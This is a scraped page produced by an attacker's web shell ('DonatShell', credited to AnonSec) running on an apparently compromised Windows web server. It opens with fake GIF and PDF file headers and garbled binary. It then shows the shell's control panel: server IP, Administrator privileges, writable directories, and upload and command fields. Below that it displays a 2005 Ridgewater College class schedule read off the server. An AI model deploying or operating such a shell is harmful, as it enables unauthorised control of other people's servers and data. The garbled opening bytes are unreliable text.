GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/ClassLists/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/ClassLists/html/20061-Hutchinson-ClassList.csv.htm
Ridgewater College - Hutchinson Campus<brSummer Semester 2005 - Class Schedule<br>Last Updated: Aug 01, 2005 04:18pm<br>
				<table>
          <tr>
					<td>Class ID</td>
					<td>Class Number</td>
					<td>Sec</td>
					<td>Class Title</td>
					<td>Cr</td>
					<td>Enr</td>
					<td>Max</td>
					<td>Meeting Dates</td>
					<td>Days</td>
					<td>Time</td>
					<td>Bldg</td>
					<td>Rm</td>
					<td>Instructor</td>
					<td>Notes</td>
					</tr>
					<tr><td>000159</td><td>ACCT1816</td><td>30</td><td>Prin Acct 2</td><td>4.00</td><td>1</td><td>14</td><td>06/13/2005 - 07/14/2005</td><td>MTWH</td><td>7:30am - 11:30am</td><td>Main</td><td>261</td><td>Anderson, Jim</td><td>&nbsp;</td></tr><tr><td>000081</td><td>ART104</td><td>61</td><td>Survey in Art</td><td>3.00</td><td>11</td><td>22</td><td>07/05/2005 - 08/05/2005</td><td>M&nbsp;W</td><td>5:30pm - 10:00pm</td><td>Main</td><td>151</td><td>Nilssen, Marjorie</td><td>&nbsp;</td></tr><tr><td>000192</td><td>AVT1351</td><td>20</td><td>Aud Pract I</td><td>3.00</td><td>0</td><td>20</td><td>05/31/2005 - 08/05/2005<br> - </td><td>&nbsp;</td><td> - <br> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Igl, David<br>Jordahl, James</td><td>&nbsp;</td></tr><tr><td>000193</td><td>AVT1352</td><td>20</td><td>Aud Prac II</td><td>3.00</td><td>0</td><td>20</td><td>05/31/2005 - 08/05/2005<br> - </td><td>&nbsp;</td><td> - <br> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Igl, David<br>Jordahl, James</td><td>&nbsp;</td></tr><tr><td>000194</td><td>AVT2351</td><td>20</td><td>Aud Pra III</td><td>3.00</td><td>0</td><td>20</td><td>05/31/2005 - 08/05/2005<br> - </td><td>&nbsp;</td><td> - <br> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Igl, David<br>Jordahl, James</td><td>&nbsp;</td></tr><tr><td>000195</td><td>AVT2352</td><td>20</td><td>Aud Prac 4</td><td>3.00</td><td>0</td><td>20</td><td>05/31/2005 - 08/05/2005<br> - </td><td>&nbsp;</td><td> - <br> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Igl, David<br>Jordahl, James</td><td>&nbsp;</td></tr><tr><td>000196</td><td>AVT2360</td><td>50</td><td>Intern I                    1</td><td>1.00-12.00</td><td>1</td><td>30</td><td>05/31/2005 - 08/05/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Igl, David</td><td>&nbsp;</td></tr><tr><td>000123</td><td>BIOL210</td><td>21</td><td>Human Anatomy</td><td>4.00</td><td>15</td><td>21</td><td>05/31/2005 - 07/21/2005<br>05/31/2005 - 07/21/2005</td><td>MTWH<br>&nbsp;T&nbsp;H</td><td>8:30am - 9:45am<br>10:00am - 12:45pm</td><td>Main<br>Main</td><td>247<br>267</td><td>Kiernan, Ann<br>Kiernan, Ann</td><td>&nbsp;</td></tr><tr><td>000060</td><td>CHEM101</td><td>21</td><td>Surv of Chem</td><td>4.00</td><td>17</td><td>22</td><td>05/31/2005 - 07/01/2005<br>05/31/2005 - 07/01/2005</td><td>MTWH<br>&nbsp;TWH</td><td>7:30am - 9:50am<br>10:00am - 12:50pm</td><td>Main</td><td>141</td><td>Benson, John<br>Benson, John</td><td>&nbsp;</td></tr><tr><td>000262</td><td>DRFT2501</td><td>20</td><td>Geom Tolerancing</td><td>1.00-3.00</td><td>18</td><td>18</td><td>05/31/2005 - 08/05/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Nass, Stacey</td><td>&nbsp;</td></tr><tr><td>000405</td><td>DRFT2513</td><td>20</td><td>Parametric Design II</td><td>3.00</td><td>1</td><td>18</td><td>05/31/2005 - 08/05/2005</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Kohls, Chad</td><td>&nbsp;</td></tr><tr><td>000392</td><td>DRFT2600</td><td>50</td><td>Internship</td><td>1.00-6.00</td><td>1</td><td>50</td><td>05/31/2005 - 08/05/2005</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Nass, Stacey</td><td>&nbsp;</td></tr><tr><td>000068</td><td>ESCI110</td><td>21</td><td>Intro Geology</td><td>4.00</td><td>10</td><td>20</td><td>07/05/2005 - 08/05/2005<br>07/05/2005 - 08/05/2005</td><td>M&nbsp;WH<br>&nbsp;T</td><td>9:30am - 11:59am<br>9:30am - 12:29pm</td><td>Main<br>Main</td><td>157<br>157</td><td>Boberg, Wesley<br>Boberg, Wesley</td><td>&nbsp;</td></tr><tr><td>000076</td><td>ECON206</td><td>22</td><td>Pr Micro-Econ</td><td>3.00</td><td>8</td><td>40</td><td>07/05/2005 - 08/05/2005</td><td>&nbsp;</td><td> - </td><td>Main</td><td>Onln</td><td>Gander, Edmund</td><td>For details check http://inside.ridgewat<br>On-line only - extra fee charged</td></tr><tr><td>000069</td><td>ENGL94</td><td>1</td><td>Pre Coll Comp II</td><td>3.00</td><td>9</td><td>25</td><td>07/05/2005 - 08/05/2005</td><td>MTWH</td><td>10:00am - 11:59am</td><td>Main</td><td>151</td><td>Muegge, Sandra</td><td>&nbsp;</td></tr><tr><td>000062</td><td>ENGL121</td><td>21</td><td>Coll Comp I</td><td>3.00</td><td>26</td><td>25</td><td>05/31/2005 - 07/01/2005</td><td>&nbsp;T&nbsp;H</td><td>12:00pm - 4:30pm</td><td>Main</td><td>249</td><td>Steffen, Kathy</td><td>&nbsp;</td></tr><tr><td>000071</td><td>ENGL122</td><td>21</td><td>Coll Comp II</td><td>3.00</td><td>13</td><td>25</td><td>07/05/2005 - 08/05/2005</td><td>M&nbsp;W</td><td>1:00pm - 5:00pm</td><td>Main</td><td>249</td><td>Steffen, Kathy</td><td>&nbsp;</td></tr><tr><td>000074</td><td>HIST222</td><td>31</td><td>Mod Euro Hist</td><td>3.00</td><td>15</td><td>16</td><td>07/06/2005 - 08/03/2005</td><td>M&nbsp;W</td><td>5:30pm - 10:00pm</td><td>Main</td><td>429</td><td>Grinde, Gerald</td><td>&nbsp;</td></tr><tr><td>000413</td><td>HBU1235</td><td>51</td><td>Intro/Web Page-Ed2Go</td><td>0.00</td><td>1</td><td>50</td><td>06/15/2005 - 07/22/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Kelly, Patricia</td><td>&nbsp;</td></tr><tr><td>000454</td><td>HBU1535</td><td>51</td><td>Ed2Go Intro Excel 2003</td><td>0.00</td><td>1</td><td>50</td><td>06/15/2005 - 07/22/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Kelly, Patricia</td><td>&nbsp;</td></tr><tr><td>000414</td><td>HBU1536</td><td>51</td><td>Ed2Go Inter Excel 2003</td><td>0.00</td><td>1</td><td>50</td><td>06/15/2005 - 07/22/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Kelly, Patricia</td><td>&nbsp;</td></tr><tr><td>000266</td><td>MSM1818</td><td>50</td><td>Internship I</td><td>3.00</td><td>31</td><td>50</td><td>05/31/2005 - 07/16/2005<br> - <br> - </td><td>&nbsp;</td><td>ARR - ARR<br> - <br> - </td><td>Main</td><td>OUT</td><td>Melbye, Vicki<br>Korsmo, David<br>Mullins, Lyle</td><td>&nbsp;</td></tr><tr><td>000267</td><td>MSM1819</td><td>50</td><td>Internship II</td><td>3.00</td><td>31</td><td>50</td><td>05/31/2005 - 07/16/2005<br> - <br> - </td><td>&nbsp;</td><td>ARR - ARR<br> - <br> - </td><td>Main</td><td>OUT</td><td>Melbye, Vicki<br>Korsmo, David<br>Mullins, Lyle</td><td>&nbsp;</td></tr><tr><td>000332</td><td>MSM2425</td><td>20</td><td>Independent Study</td><td>1.00-3.00</td><td>0</td><td>25</td><td>05/31/2005 - 08/05/2005</td><td>&nbsp;</td><td>ARR - ARR</td><td>Main</td><td>IndS</td><td>Melbye, Vicki</td><td>&nbsp;</td></tr><tr><td>000063</td><td>MATH97</td><td>21</td><td>Beg Algebra</td><td>3.00</td><td>18</td><td>35</td><td>05/31/2005 - 07/01/2005</td><td>MTWH</td><td>8:00am - 10:00am</td><td>Main</td><td>246</td><td>Sieve, Michael</td><td>&nbsp;</td></tr><tr><td>000072</td><td>MATH98</td><td>21</td><td>Inter Algebra</td><td>3.00</td><td>33</td><td>35</td><td>07/05/2005 - 08/05/2005</td><td>MTWH</td><td>8:00am - 9:59am</td><td>Main</td><td>141</td><td>Snyder, Jessica</td><td>&nbsp;</td></tr><tr><td>000079</td><td>MATH112</td><td>21</td><td>Coll Algebra</td><td>4.00</td><td>8</td><td>33</td><td>07/05/2005 - 08/05/2005</td><td>MTWH</td><td>10:00am - 12:30pm</td><td>Main</td><td>246</td><td>Snyder, Jessica</td><td>&nbsp;</td></tr><tr><td>000358</td><td>MLT1030</td><td>20</td><td>Mfg Processes</td><td>2.00</td><td>4</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>317</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000361</td><td>MLT1510</td><td>20</td><td>Fund Metallurgy</td><td>3.00</td><td>1</td><td>20</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>317</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000360</td><td>MLT2020</td><td>20</td><td>Quality Improvement</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>317</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000359</td><td>MLT2021</td><td>20</td><td>NDT Quality Techniques</td><td>1.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>317</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000268</td><td>NDT1030</td><td>20</td><td>Liq Pen Inspection</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000269</td><td>NDT1040</td><td>20</td><td>Intro Radiography</td><td>3.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000270</td><td>NDT1050</td><td>20</td><td>Rad Insp I</td><td>2.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td> - </td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000271</td><td>NDT1051</td><td>20</td><td>Rad Insp II</td><td>2.00</td><td>2</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000272</td><td>NDT1060</td><td>20</td><td>Intro Ultrasonics</td><td>3.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000273</td><td>NDT1070</td><td>20</td><td>Ult Insp I</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000274</td><td>NDT1071</td><td>20</td><td>Ult Insp II</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000275</td><td>NDT1080</td><td>20</td><td>Eddy Cur Inspection</td><td>3.00</td><td>1</td><td>12</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000276</td><td>NDT1090</td><td>20</td><td>Mag Part Inspection</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000277</td><td>NDT1140</td><td>20</td><td>B Print Reading</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000279</td><td>NDT1501</td><td>20</td><td>Intro Ndt</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000281</td><td>NDT1516</td><td>20</td><td>Codes/Specs</td><td>1.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000282</td><td>NDT1517</td><td>20</td><td>Rep Frms/Writing</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000283</td><td>NDT1812</td><td>20</td><td>Ap Ndt Math</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000284</td><td>NDT2030</td><td>20</td><td>Ad Liq Pen Inspection</td><td>1.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000285</td><td>NDT2040</td><td>20</td><td>Isot/Rad Safety</td><td>3.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000286</td><td>NDT2049</td><td>20</td><td>Ad Radiog I</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000287</td><td>NDT2051</td><td>20</td><td>A Radiog II</td><td>3.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000288</td><td>NDT2060</td><td>20</td><td>A Ultras I</td><td>3.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000289</td><td>NDT2061</td><td>20</td><td>A Ultras II</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000290</td><td>NDT2062</td><td>20</td><td>A Ultra III</td><td>2.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000291</td><td>NDT2080</td><td>20</td><td>A Ed Cur I</td><td>2.00</td><td>2</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000292</td><td>NDT2081</td><td>20</td><td>A Ed Cur II</td><td>2.00</td><td>3</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000293</td><td>NDT2090</td><td>20</td><td>Adv Mag Particle</td><td>1.00</td><td>3</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000294</td><td>NDT2110</td><td>20</td><td>Aco Emission Inspection</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000296</td><td>NDT2150</td><td>20</td><td>Infrared Inspection</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000297</td><td>NDT2160</td><td>20</td><td>App Physics</td><td>3.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000298</td><td>NDT2170</td><td>20</td><td>Ad Visual Inspection</td><td>2.00</td><td>4</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000382</td><td>NDT2230</td><td>20</td><td>Asnt Conference</td><td>1.00</td><td>1</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000303</td><td>NDT2240</td><td>50</td><td>Internship I                1</td><td>1.00-11.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000304</td><td>NDT2250</td><td>50</td><td>Internship II               1</td><td>1.00-11.00</td><td>0</td><td>30</td><td>05/31/2005 - 08/05/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000305</td><td>NDT2260</td><td>20</td><td>Composite I</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000306</td><td>NDT2510</td><td>20</td><td>Leak Testing</td><td>1.00</td><td>0</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000308</td><td>NDT2527</td><td>20</td><td>Aws Weld Evaluation</td><td>2.00</td><td>2</td><td>30</td><td>05/16/2005 - 06/30/2005</td><td>MTWH</td><td>8:00am - 4:00pm</td><td>Main</td><td>315</td><td>Berndt, Dennis</td><td>&nbsp;</td></tr><tr><td>000089</td><td>NA1125</td><td>60</td><td>Home Health Aide</td><td>1.00</td><td>5</td><td>20</td><td>05/16/2005 - 05/17/2005</td><td>MT</td><td>3:30pm - 9:30pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Wieman, Heidi</td><td>&nbsp;</td></tr><tr><td>000205</td><td>NA1125</td><td>61</td><td>Home Health Aide</td><td>1.00</td><td>8</td><td>35</td><td>06/20/2005 - 06/21/2005</td><td>MT</td><td>3:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000206</td><td>NA1125</td><td>62</td><td>Home Health Aide</td><td>1.00</td><td>14</td><td>35</td><td>07/25/2005 - 07/26/2005</td><td>MT</td><td>3:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000202</td><td>NA1612</td><td>60</td><td>Nursing Assistant</td><td>3.00</td><td>17</td><td>20</td><td>05/19/2005 - 06/16/2005</td><td>MTWH</td><td>4:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000203</td><td>NA1612</td><td>61</td><td>Nursing Assistant</td><td>3.00</td><td>20</td><td>20</td><td>06/23/2005 - 07/21/2005</td><td>MTWH</td><td>4:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000204</td><td>NA1612</td><td>62</td><td>Nursing Assistant</td><td>3.00</td><td>21</td><td>20</td><td>07/28/2005 - 08/24/2005</td><td>MTWH</td><td>4:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000082</td><td>PE116</td><td>61</td><td>Aerobic Activ</td><td>1.00</td><td>11</td><td>24</td><td>07/05/2005 - 08/05/2005</td><td>&nbsp;T&nbsp;H</td><td>5:30pm - 8:30pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Kotila, Dwight</td><td>This is a PE Activity Course</td></tr><tr><td>000066</td><td>PSYC131</td><td>61</td><td>Intro to Psyc</td><td>4.00</td><td>30</td><td>40</td><td>05/31/2005 - 07/01/2005</td><td>&nbsp;T&nbsp;H</td><td>5:00pm - 10:00pm</td><td>Main</td><td>247</td><td>Haglin, Andrea</td><td>&nbsp;</td></tr><tr><td>000070</td><td>PSYC263</td><td>21</td><td>Devel Psyc</td><td>3.00</td><td>26</td><td>40</td><td>07/05/2005 - 08/05/2005</td><td>MTWH</td><td>10:10am - 12:10pm</td><td>Main</td><td>141</td><td>Haglin, Andrea</td><td>&nbsp;</td></tr><tr><td>000131</td><td>PUBH700</td><td>22</td><td>Nutrition</td><td>3.00</td><td>19</td><td>35</td><td>05/31/2005 - 07/21/2005</td><td>&nbsp;</td><td>ARR - ARR</td><td>Main</td><td>Onln</td><td>Melvie, Sharon</td><td>Email sharon.melvie@ridgewater.edu<br>On-line only - extra fee charged</td></tr><tr><td>000350</td><td>PUBH700</td><td>24</td><td>Nutrition</td><td>3.00</td><td>19</td><td>35</td><td>05/31/2005 - 07/21/2005</td><td>&nbsp;</td><td>ARR - ARR</td><td>Main</td><td>Onln</td><td>Larison, Terri</td><td>On-line only - extra fee charged<br>email terri.larison@ridgewater.edu</td></tr><tr><td>000067</td><td>SOC106</td><td>61</td><td>Gen Soc Prob</td><td>3.00</td><td>19</td><td>40</td><td>05/31/2005 - 07/01/2005</td><td>M&nbsp;W</td><td>5:30pm - 10:00pm</td><td>Main</td><td>247</td><td>Kutzke, Michael</td><td>&nbsp;</td></tr><tr><td>000329</td><td>SOC247</td><td>82</td><td>Cultural Immers</td><td>3.00</td><td>1</td><td>30</td><td>08/03/2005 - 08/11/2005</td><td>&nbsp;</td><td> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Waskul, Dennis</td><td>Additional Fee</td></tr><tr><td>000065</td><td>SPCH121</td><td>21</td><td>Intro to Commun</td><td>3.00</td><td>22</td><td>23</td><td>05/31/2005 - 07/01/2005</td><td>M&nbsp;W</td><td>12:00pm - 4:30pm</td><td>Main</td><td>247</td><td>Bredeson, Julie</td><td>&nbsp;</td></tr><tr><td>000075</td><td>SPCh326</td><td>61</td><td>Interpers Com</td><td>3.00</td><td>27</td><td>30</td><td>07/05/2005 - 08/05/2005</td><td>&nbsp;T&nbsp;H</td><td>5:30pm - 10:00pm</td><td>Main</td><td>263</td><td>Pierce, Douglas</td><td>&nbsp;</td></tr></table>

Anon7 - 2022
AnonSec Team